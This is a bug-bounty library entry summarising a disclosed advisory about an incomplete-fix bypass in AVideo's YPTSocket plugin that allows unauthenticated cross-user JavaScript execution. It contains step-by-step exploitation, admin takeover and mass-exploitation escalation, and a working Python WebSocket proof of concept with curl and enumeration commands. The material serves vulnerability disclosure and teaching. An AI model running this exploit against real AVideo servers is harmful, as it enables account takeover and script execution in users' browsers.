# AVideo has an Incomplete Fix for YPTSocket autoEvalCodeOnHTML Strip: Unauthenticated Cross-User JavaScript Execution via `$msg['json']` Relay Bypass

Incomplete fix in AVideo YPTSocket only strips autoEvalCodeOnHTML from $json['msg']; relaying via $msg['json'] lets an unauthenticated attacker run JS in any logged-in user's browser.

- Payout: Research
- Severity: high
- Program: AVideo
- Found by: offset
- Disclosed: 2026-05-05
- CVE: CVE-2026-43874
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-ghcv-22jf-vfxm
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-ghcv-22jf-vfxm
- Tags: area:web domain:web impact:ato impact:mass-exploit impact:privesc kind:research platform:ghsa sev:high tech:php tech:websocket technique:incomplete-fix technique:source-review vuln:access-control vuln:xss

**Target:** YPTSocket WebSocket relay (plugin/YPTSocket/Message.php, MessageSQLiteV2.php) and client script.js eval sink
**Root cause:** The prior fix only unsets autoEvalCodeOnHTML when $json['msg'] is an array, but msgToResourceId prefers $msg['json'] as the outbound carrier, so a scalar msg plus a json field bypasses the strip and reaches the client-side eval().
**Steps:**
1. Mint an unauthenticated token: `curl -sk 'https://target/plugin/YPTSocket/getWebSocket.json.php'` returns webSocketToken and webSocketURL.
2. Optionally enumerate victims: send `{'msg': 'getClientsList', 'webSocketToken': TOKEN}` over the socket to list active users_id values.
3. Connect to `wss://target:2053?webSocketToken=<TOKEN>&isCommandLine=0`.
4. Send `{'msg': 'x', 'webSocketToken': TOKEN, 'json': {'autoEvalCodeOnHTML': "alert('XSS in '+document.domain)"}, 'to_users_id': VICTIM}`.
5. Victim tab receives `{'type':'DEFAULT_MESSAGE','msg':{'autoEvalCodeOnHTML':'alert(...)'}}` and script.js:573-575 runs it via eval().
**How found:** Audited the prior fix commit c08694bf6 and noticed the strip is gated on is_array($json['msg']); then read msgToResourceId and saw it prefers $msg['json'] over $msg['msg'], so a scalar msg plus json carrier skips the strip entirely. Same flaw mirrored in MessageSQLiteV2.php.
**Exploitation:** Attacker needs no auth: getWebSocket.json.php mints a browser-sentFrom token, so the strip branch runs but is skipped because msg is scalar 'x'. The relay's msgToResourceId picks $msg['json'] as $obj['msg'] and delivers verbatim to every resource of the attacker-chosen to_users_id. Victim only needs an open tab; JS executes same-origin, enabling authenticated XHR, token/DOM theft, and admin-panel actions when an admin is targeted. getClientsList enumerates users_id for mass exploitation.
**Escalation:** Targeting an admin's users_id yields same-origin admin XHR: account takeover, plugin config changes, file uploads. Iterating to_users_id across enumerated clients scales to mass exploitation.
**Insight:** When auditing an incomplete-fix advisory, trace every code path that selects the outbound/rendered value and check the sanitizer covers each carrier, not just the one named in the original report; a scalar-vs-array type check is a common bypass when the sanitizer assumes a shape.

## Proof of concept (copied exactly from the original report)

**Python WebSocket payload bypassing strip via json field**

```
import json, ssl, websocket

TOKEN  = '<TOKEN>'          # from step 1
URL    = 'wss://target:2053?webSocketToken=' + TOKEN + '&isCommandLine=0'
VICTIM = 2                  # any logged-in users_id with an open tab

ws = websocket.create_connection(URL, sslopt={'cert_reqs': ssl.CERT_NONE})
payload = {
    'msg': 'x',                                                  # scalar -> strip branch skipped
    'webSocketToken': TOKEN,
    'json': {'autoEvalCodeOnHTML': "alert('XSS in '+document.domain)"},
    'to_users_id': VICTIM,
}
ws.send(json.dumps(payload))
ws.close()
```

**Curl request minting unauthenticated WebSocket token**

```
curl -sk 'https://target/plugin/YPTSocket/getWebSocket.json.php'
# {"error":false,"webSocketToken":"<TOKEN>","webSocketURL":"wss://target:2053?webSocketToken=<TOKEN>&isCommandLine=0", ...}
```

**getClientsList enumeration request**

```
ws.send(json.dumps({'msg': 'getClientsList', 'webSocketToken': TOKEN}))
# response lists active users_id values
```

